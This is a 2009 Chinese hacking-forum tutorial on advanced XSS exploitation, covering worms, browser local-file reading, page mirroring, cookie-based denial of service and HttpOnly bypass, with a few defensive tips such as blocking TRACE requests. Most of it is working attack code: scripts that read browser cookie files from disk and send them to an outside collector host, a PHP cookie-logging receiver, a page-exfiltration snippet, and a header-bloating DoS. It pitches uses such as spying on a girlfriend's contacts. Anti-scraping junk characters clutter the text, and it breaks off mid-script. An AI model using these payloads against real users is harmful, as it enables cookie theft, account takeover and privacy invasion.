XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

+ S, c  b) Y/ r" Q, ?5 [% \/ ?: A+ a* YXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
# K; y6 b! D+ G; |% X  {8 HBy racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权

0 T4 Z0 H1 g$ Z) \4 z. \
: z4 S1 Z1 F0 n6 l0 x  ?
-------------------------------------------前言---------------------------------------------------------
4 d6 n" R- w* S* @/ G& z9 x( t  g
* x$ h% b7 \- E
" C4 T9 ^- H# l- l本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
4 H& w% t3 w, m: Y4 ?0 }
; [- X1 m, R. P
如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
8 Q; j- y$ @! v9 U1 v- qhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
. R, w) ?* T! ?1 Y; qhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
) b0 ~( i/ r3 q6 C+ a" h( l* C$ L& Dhttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
6 }0 u) ]% q( W2 G/ Dhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

- g) P- g4 t# \* M9 ?) H% x


如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
) B. L" [, |* ]) Y# I
/ t* T5 Q# P1 U% T% J! r+ B9 k希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
* ^6 \( o1 _  f# E! _9 F  b
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

, u; p3 w  Z- I3 {2 d. C9 SBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

$ ?& e  c# ]* K( ^. f( CQQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
复制代码------------------------------------------介绍-------------------------------------------------------------
; Q# j  S! q* Q3 O
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
3 H% Q7 g3 `" j: C! ?

1 o' D' N0 _" h8 K6 z4 a/ i: H
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

# V. @$ _0 k9 F) k
8 f7 Z# m& A1 _4 w" d8 t# s
$ W( n; W$ X* h) |( y0 t  S2 s/ }如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
' F( Z' L+ G# U1 v& j' x9 l/ }我们在这里重点探讨以下几个问题:
) S- U- t( q1 Z) c& m
1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
# f/ u+ ^. ?7 Z$ o3 ~
3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

: C& l7 u1 J+ b$ a5 r3 T4        XSS漏洞在输出和输入两个方面怎么才能避免.



# E. a8 U. j6 N/ L! g------------------------------------------研究正题----------------------------------------------------------

0 E4 F% \- L: C

3 y4 n4 U9 x. P$ E' z1 T; K  c* h1 b2 m通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
" g' X! T9 t; a$ a; C% M复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
) M  t8 q, n7 X. S- E) {- X复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
8 Z9 O# Z# g7 D* J9 L$ \  l! C& |! e3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
9 n2 Z: N" }/ B+ b; [/ Y& P. N( t

) \6 q! R# Q4 n! X0 j# b3 r5 k
4 ]+ c  G5 Y6 D: i% B9 c6 @

(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
/ J% S: B# V4 U" n

( r. X1 A) P6 }8 F3 s
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

7 y3 U8 U7 B2 ^# H) l5 X- Y# Q
& v, U3 d* w( W* O& v& c: k! K
    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。



/ o( Y0 K% g. b9 u0 ]& g' W3 T    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
% `. I: w1 N, S1 s
4 \4 O$ }! M1 }, `7 a" w7 J    function $(x){return document.getElementById(x)}
  @/ n6 X" [3 |3 J


    function ajax_obj(){

8 x2 p$ Y& k& i. i4 C1 S3 a9 I    var request = false;

    if(window.XMLHttpRequest) {
% b$ H. C7 g; [+ o
4 ?+ Q, U+ c3 Y) A5 {0 h- g- w5 N# W    request = new XMLHttpRequest();
4 h3 p7 _8 |. }1 X# b' U
! S6 u4 V# S3 T7 r# i    } else if(window.ActiveXObject) {
- V5 x8 r& J& _, D6 I  Z
# q0 s% x! {; \8 y9 Y7 A    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


# m( w" ]% I( L7 K: P9 T2 M& P
9 `2 @5 {+ D5 [7 l2 l. _! f    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {

! }% b8 G% l# `    try {

    request = new ActiveXObject(versions);
' T# W) a; w' q- X7 B1 v
1 X! ]* h: B' q    } catch(e) {}
  ?' n. g  X# i' }
* U1 q; z9 H: \- ^    }
+ [7 _* U5 }9 t
    }
9 ?- P3 G# S- R( ?: ?2 j- ^
    return request;
# _: t" Z: k- y0 _# Y: Q( [
4 j/ m- N' X8 ]* o    }

    var _x = ajax_obj();
# M/ W0 q! P+ `9 ^3 K
/ `0 ^# a; j) @; O  i. M5 r3 {3 m    function _7or3(_m,action,argv){

    _x.open(_m,action,false);
0 t* i1 b* f3 p* G
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
( b$ v. T" b& k7 _# @/ g! f. ~+ E
1 X- f+ n) L7 K9 ^& y    _x.send(argv);

! r3 \# d& H2 x# p# I8 ]2 a& v    return _x.responseText;
7 G: F) @5 D  o8 N7 E  v1 Q
    }
! R  @: [: L. \
8 Y! D& i+ T( o0 O% \. y

9 M' n( U8 |' G' Q0 \    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
: o( B, f. S7 L, @
    alert(txt);

+ d% P2 }' T8 t8 j

    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

" Y; ?) r" r) P- H0 o9 |. `2 n    function $(x){return document.getElementById(x)}
4 ]7 j* T6 a! b7 Y0 a! }

* F8 p/ Q  ^: O
    function ajax_obj(){

    var request = false;

- V& g% j" f  q8 e, K9 v    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
5 n, Y" Z$ \' y# V
    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
& A3 L- V! i5 I# Q: D+ ?) E

" c3 k! q, T9 R. k
* T9 ~/ u1 H0 ?' C0 r& l    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

( f' _- x# K( _& }    for(var i=0; i<versions.length; i++) {
# G( ]' v& n9 @0 q: x
5 ?% I: m6 E8 |3 ?- n: i9 e4 W    try {

. B7 k5 |9 S2 O) F2 e# M' k7 T) R5 N- |: b    request = new ActiveXObject(versions);
, Z, o; N. ^4 `4 J% p
    } catch(e) {}
& e4 V2 `. `, |2 @6 W
    }
4 V( ^. [% j" l. f; P
; k4 W' h* q  n% J3 y2 S    }
$ ]/ {9 A1 G- s, N$ ^
% }# m4 ~+ d$ _" _    return request;
7 S; k- M* N. D3 l5 q" n2 `9 S" }
    }
+ v+ z( K- h$ U) Q9 v8 E! _3 E
    var _x = ajax_obj();
) V5 n( S5 b$ i4 ?6 r
; I1 ~- J$ k: R$ h; i+ ?0 M% ^0 Q    function _7or3(_m,action,argv){

/ L3 ?& u* j9 c  Y    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
4 e, e: ?  k# G; U
( Y1 J; w8 H" ?% M! r    _x.send(argv);
' l- J( u' v/ w
    return _x.responseText;

    }



    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);

. E% w! V/ n( N) v5 V
. D: o, R, l! U) @* f, ^/ O- u4 @9 `
    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
0 L$ `- g2 ^4 x

5 o- M; U' X3 d3 ?/ i
. N" J2 }6 |" L# n) }( @# ]Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

; c% C8 i( G  ^- v7 C: B4 k

<?   

/*  

1 n$ x9 y/ I  l1 E+ _! x     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
- A" z! ^* Y7 F' ?
     www.inbreak.net   

# X1 ?1 b  N; B8 w( K" C: F     author voidloafer@gmail.com 2009-4-22   
- g( t" m* c0 [( z
     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
1 L; W/ R# j* R6 [% Z/ D: i2 x
9 A' H; h+ d& E2 ]*/  
9 U9 U; n; |9 ]0 U
6 \* r3 a% }& _" q3 nheader("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   

/*  
5 D; F  b% o) }5 T6 ^
, C+ N6 Y7 q; o" G5 y- ~     set header, so just download html file,and open it at local.  
9 A) n3 W  X& E  U, h3 [
*/  
- @, ]7 @& v: w- R7 E
; C( e. ~/ E# o7 X/ |$ N?>   
+ G: a5 z6 H1 D. m9 c0 w: m% x6 u
/ }9 n* u, l$ C) m<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

8 z' W5 s: ~6 y; J     <input id="input" name="cookie" value="" type="hidden">   
! f7 ?5 m8 |- \4 P: V2 R  U8 Q) q, V, d
</form>   

<script>   
/ V4 [9 X" C" N  E% l4 }
1 G2 U+ L; T* M" F4 I3 j8 kfunction doMyAjax(user)   

3 n- L$ V8 X0 E6 V6 f) b{   
0 p, t" r, v4 p# W
var time = Math.random();   

9 i- Z, [" `" ]4 x4 f) [/ s/*  

the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

  `. @& _4 v$ m( }and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  
& N: t4 _3 e% p% q6 u+ s9 Z
*/  

var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   

3 C' z4 x- `- X: M. X4 FstartRequest(strPer);   



}   

5 Y" s  ~/ q( @( }# G# C   
% Y9 B: U1 H& Q! X- P& g, U$ h! a1 X
. |. H+ i9 b& ofunction Enshellcode(txt)   

( Z7 L/ v4 b2 F, o8 y+ f! a{   
2 ~7 ?2 k9 V3 V: D0 T* H
& f) C; @0 b5 q: H) e# B( Qvar url=new String(txt);   

var i=0,l=0,k=0,curl="";   
  U' a, h4 a/ q) c" C/ o2 }
l= url.length;   

3 \9 h: p: v# j2 A+ ^1 Ufor(;i<l;i++){   

k=url.charCodeAt(i);   
! L: ~2 b# f1 L+ h6 _# b0 z3 s
- U( W9 m. J5 A# w& rif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

, K. ?! _7 q& y0 H$ K3 ~. u$ B% A/ _if (l%2){curl+="00";}else{curl+="0000";}   
1 e$ p+ K* o. V. i, r2 M3 O! ~+ B
curl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   

}   
5 j( R, X+ a1 D. g
   

2 x, }% L1 R+ F5 X- Z% ~/ ~   
! r9 A' h+ c9 |+ e+ _
7 Z$ X. F; Y2 @5 c# G& n5 ?, qvar xmlHttp;   

function createXMLHttp(){   

9 j. L) z: p# f& c3 w9 ]& @     if(window.XMLHttpRequest){   
. }; F' }- l+ A9 p4 |
: n8 |  [" t0 B6 ]! F! R4 E9 TxmlHttp = new XMLHttpRequest();           

9 j* r. F8 o2 Q' Q( T0 d) `7 z     }   
0 f( b% I! g. I0 U7 U$ V
     else if(window.ActiveXObject){   
2 Y0 f, y* L- S0 e5 O
! ^; j# j# m% a2 ~. N- l& u3 XxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
0 o+ c* O$ j8 |& v. V" S
! S+ Z7 d! x% f0 g  l- o     }   

}   

   
& B5 ~' N1 c4 ~& f) ]
5 M3 z4 N% j. B: v. Bfunction startRequest(doUrl){   
0 X$ h; a% k! K; \9 y
   
' S& g% o6 ~/ N+ m; o/ c0 K% k3 ?
6 y+ t- j0 ~* N' z9 m+ r     createXMLHttp();   
/ @8 D3 F( v" G* k4 n# }


     xmlHttp.onreadystatechange = handleStateChange;   

1 x4 M" v* \# W  \

     xmlHttp.open("GET", doUrl, true);   

; U2 W5 ?7 y  m) A, t! r; ]
( o, U% }2 j7 L: Q
     xmlHttp.send(null);   

7 @: t' |9 B1 K# L* z* [4 Z" W! Y6 ]
; x1 Z2 r& ^% d- i


' H  r5 K8 E( v) N}   

   

function handleStateChange(){   

) c0 R! [5 U+ n. I( p8 I; d+ e     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   

: F( ~' d9 o& J& w$ ^     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        

* M' P9 s, b2 @% n1 J$ y+ k. K, q     }   

. u/ h) c6 A' D+ b. D6 D" U* k2 t}   

   
0 h  z/ ]. q! ?+ C, l4 @
8 c8 h) d  G% z   

function framekxlzxPost(text)   

{   

) M% |! Q4 Z/ J+ y, L# z     document.getElementById("input").value = Enshellcode(text);   
' `- t# q+ R3 n
# }: \5 n0 K+ ~: ^* ~     document.getElementById("form").submit();   
3 n; A4 {% [. e
4 ?4 Y( S* ?3 O( t2 J- n- n}   
. Y- C' o( k: y' A" f% m* e( b7 f
! V8 X; {1 I/ A2 f1 z( |% {) |   

" W+ T8 L0 \; LdoMyAjax("administrator");   

   

2 V5 R4 |$ j: b/ B* ?</script>
8 ~6 n! a( X4 O2 s6 ]" F复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

var xmlHttp;  
. c) v4 D' X4 i8 E1 U
function createXMLHttp(){  

     if(window.XMLHttpRequest){  
& {) b' V) R5 r6 Q
6 ?6 B/ u, I' S" f- K9 T& E/ F% q         xmlHttp = new XMLHttpRequest();         
9 ^, ^8 S2 H, @+ H7 F+ x3 K
. _- |4 l% v' X+ k' G* U     }  
8 Z( E( C+ }. I0 e1 J
     else if(window.ActiveXObject){  

         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

' K9 f; d$ }& W0 k     }  
+ Y- k* E" P5 _
}  

; \3 }0 a& Z! i7 O   

. N' R) L9 y( |& q5 }* Y7 Rfunction startRequest(doUrl){  

           
  I" o0 w2 g: v0 l
     createXMLHttp();  

+ G- J! O; W  Q5 p6 W* M      

8 O' O# _. ~' ?& z, W/ a     xmlHttp.onreadystatechange = handleStateChange;  

      

* X+ G6 o$ s" _- `  [, f2 W0 G     xmlHttp.open("GET", doUrl, true);  
0 L2 H, K2 w, L. z5 t) ~% n( u
      
  w, u- ?; G. g8 T9 o. J  R
- ?$ v) |$ J1 W7 B# H     xmlHttp.send(null);  
7 C2 `) I$ b! p& ~
      

      
# c: L; J4 i' C8 x/ {
( Q9 t- R2 E6 c}   

   

function handleStateChange(){  
4 R  o  [- p# j  ~) _5 `2 k" h" t
( s' s" B3 w6 M# p0 o2 o2 ?9 \5 e1 R     if (xmlHttp.readyState == 4 ){  
* U2 g' j+ ^! p
1 K8 r) Y9 q* w. U+ m1 n             var strResponse = "";  
9 l8 R6 y0 o+ y7 \' p
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
$ A5 K0 V, G' I
               

7 w; [, I; _6 `3 Z6 b     }  

}  
2 z* m/ L/ k- m8 y% O* E
7 I  n# M7 A! Q   
- X' c) T9 Y8 y+ ^$ p+ a
function doMyAjax(user,file)  

{  
- {9 V: z  H9 y3 V$ D9 _
         var time = Math.random();  
6 @3 ]1 {  c5 c* C
% F9 S0 K( h# I, m* Q           
5 _, x1 E3 o  d: k
" k& n, A4 r) e! p         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
! y% V/ W5 N: g9 l
           

         startRequest(strPer);  
3 I$ c) T: l+ r
      
" q% x9 t6 r. t( S5 d
}  

* g, S% q$ i! o% p6 e- U4 Y, }   

! \4 Z5 h* [. P0 Z. o; v# }4 ~# C# [function framekxlzxPost(text)  

: f" j( C, B3 D/ `$ K{  
* \+ A/ N4 ^1 k; o; v
/ w! u  y1 B6 }  ]5 J! N5 @! t* I     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
& S% m$ a: L7 ~2 {+ t
     alert(/ok/);  
0 J. t( i+ ]+ _' V) m7 U* h8 {
}  

9 g+ r4 b, Q8 E2 X   

doMyAjax('administrator','administrator@alibaba[1].txt');  

5 K2 W1 L4 q9 [6 b   

9 _: |$ K5 c  k. M</script>
4 H* N4 H8 D4 _



6 O0 q) ^! J- P6 r4 B0 S+ k2 \7 w  X( p
, @* e# f/ `' U1 T' J% G+ a% M0 Ga.php
: B; C) ~8 q0 g* X0 z/ _

- ^. H6 r; \' Q5 X
" M0 f" U0 T7 T' U- `<?php      

   
  l* R2 P) E7 r7 d. T% Y+ M7 b
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

/ v4 L. E" u& a5 F# n: \% Q  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

- y9 S. ^& m. \" ~& Y/ Pfwrite($fp,$_GET["cookie"]);      

fclose($fp);   
/ P# ~! t/ u* A6 m4 Z
  F9 j; E( w" b. P6 m?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
. V6 W: z7 S% f9 f4 l- l
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
# o0 `5 q! m$ {% n9 e, t! s
" R1 t2 U3 U# x+ \" c代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
1 Z1 @9 l* t$ I2 K. ~% V
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {
; z6 J6 r" ]! n0 t9 K
" p4 B, e, ]( {5 }, v7 Pvar image = new Image();
" q: S9 x% D% ]/ n9 a% x3 U
: `( l2 s0 @" ?7 Himage.style.width = 0;
' ?/ l/ r; T3 s* W6 I& a" |2 w
/ C$ L# F" Z- j1 F! C: B# W" Wimage.style.height = 0;

image.src = s;
; [/ e6 f2 ~% j! z) N& a" Z
}
6 g4 r3 L; [; @0 x
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
: y. b7 I$ g4 P- T9 J这里引用大风的一段简单代码:<script language="javascript">

3 f+ x  i( h7 T0 [var metastr = "AAAAAAAAAA"; // 10 A

# K/ ~7 u4 R5 |0 Hvar str = "";

while (str.length < 4000){
+ x3 |, P& @# n# h7 s6 O  J" V1 h! _
& g% J8 r4 [# a! C' b4 b8 T& [    str += metastr;
. V/ `' w1 n) t4 X
! \% Z0 F& Q/ I' B$ r2 n9 r( l}

/ S; p6 h  _4 |
& B& v0 a0 Q7 x8 b& I# [+ z5 S
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

; P; s/ s+ Z, B; n</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
5 e3 v2 H% _# T
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.


# S& }0 q2 z9 J9 y

3 E! J9 f8 h- a6 r# y% A

- s4 e9 s2 ?$ s* w: X( _* Z' i(III) Http only bypass 与 补救对策:

5 C) h) S" ~* o4 _" C: a4 I什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
) Y9 W$ @. [; T: a& Z' S1 l. B以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
: x. S$ i6 |- N8 s' k6 K
/ N8 v  C5 l3 i* @<!--
2 A& s6 u: {; u3 C3 Y
8 ~0 W3 M8 a. n) P# Vfunction normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);
% H: k& {( v% H& Q8 y8 _$ j% b# Y
" r$ q1 b' C$ v: V- H}



2 \3 M9 g" _. P, S9 Y5 E# A

function httpOnlyCookie() {
4 ]+ `: Q& v5 H8 `* p9 S
) f! N' K6 F5 {( n# `  Gdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

alert(document.cookie);}
6 T! Z3 G/ j" R0 C2 P! ^


- v' V( J. n( l! ]8 g$ w  l8 x' D% f% `//-->

</script>

3 m7 z; W% _2 b% p3 P! \% ~3 C
# L  Y  p1 @: Q+ {
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

# b& j' i2 @1 F0 N, z<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>


  E2 G3 P& N( ?3 r3 R
$ A: F# @2 f1 e! d+ vvar request = false;
& W  [, V) y' a7 r. @$ V
4 `- [3 v9 c$ o# u- H        if(window.XMLHttpRequest) {

- f5 f+ V3 S  @4 n            request = new XMLHttpRequest();
/ k" n9 S5 R0 K5 u! I
3 H; v; L8 [! c" v' p8 X            if(request.overrideMimeType) {
/ T" ]8 ?$ ~9 J5 @9 F. @, h
4 f8 v: o) j( R1 K6 ^                request.overrideMimeType('text/xml');

            }

8 x0 ^1 |. k  e0 f4 b) W2 Y        } else if(window.ActiveXObject) {
6 V9 M  \; E4 I' s+ ~. e
            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

/ q9 `2 s' y6 K/ u1 V            for(var i=0; i<versions.length; i++) {
0 c. Y" @7 J& P& [* p: K
# }  t- O& u2 ?: O4 a) `7 y, K/ f) c                try {

# z( ^$ ^+ ^! y; C/ D% ]                    request = new ActiveXObject(versions);

/ U  N- J. k) I4 O2 D                } catch(e) {}

3 o' t. y( p$ ]+ K0 m: \( _# P            }
4 |$ J* {: A  c; U
6 ?# |) t7 Y/ V        }

xmlHttp=request;

1 \( \  R# B. |* T8 X+ @% h4 uxmlHttp.open("TRACE","http://www.vul.com",false);
% \) @' s4 Q) F8 E
& _# c  Q' H& T( l  P0 sxmlHttp.send(null);
# S" D$ l$ T& Z$ J) J; d6 a/ q
xmlDoc=xmlHttp.responseText;
' @5 q5 C1 A! m) G4 ]7 \5 G
' H2 u# w, N2 ]alert(xmlDoc);

</script>
$ ~2 V% B: b! K* g* t0 j. s复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

: Q: R9 }: H* r, n( E& i; p, Cvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
# I( h; ]7 S& h- E$ P5 N* s( o
0 ?4 g- C! m5 E8 u7 s' |& B$ T/ h. tXmlHttp.open("GET","http://www.google.com",false);
4 ]7 e7 s: Y- g7 C: ~
' z$ T2 @/ R$ ?8 Q) f; |XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

( ?, ^3 _  Y9 D+ sXmlHttp.send(null);

7 n* x' o0 ^8 Y2 r0 n# M; tvar resource=xmlHttp.responseText

resource.search(/cookies/);

+ ~" O" i) x* w7 p$ m......................
; G& s$ L3 R3 B  C# ~5 }8 L
</script>
$ i! v* ~1 q8 f; R' }) x
1 h6 w* I" ?4 |3 w9 w; E
1 M, K7 J6 f' `+ |

5 m4 H$ F- ?+ ~9 \
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

& E0 H. X  z' {* K[code]

RewriteEngine On

, y' D0 Q' _) Y2 m5 T2 e2 \RewriteCond %{REQUEST_METHOD} ^TRACE

. u) B" Z& I0 q  B7 uRewriteRule .* - [F]
& p3 s5 l# n: }8 D; y* \


2 f! u! h7 h# W# }9 SSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
) ^- a2 R( j9 g5 ~% ?2 C
acl TRACE method TRACE
& N$ w% ~! D+ N0 L) o/ u$ A: d
! f/ {4 Z) c0 u( K, P3 b( v+ Q...

0 [2 F9 L7 Y% X; Z# _( Thttp_access deny TRACE
6 D3 Z" n/ A9 L) U  O: _: L复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

4 h) N8 n( {1 g  Q* o" Tvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
1 t2 P& H5 Q+ r6 G" ^
# [9 }- K+ l% g  B) DXmlHttp.open("GET","http://www.google.com",false);

# q5 o! |% W, |6 y* v$ OXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
1 k* P# _7 V& O5 U9 E
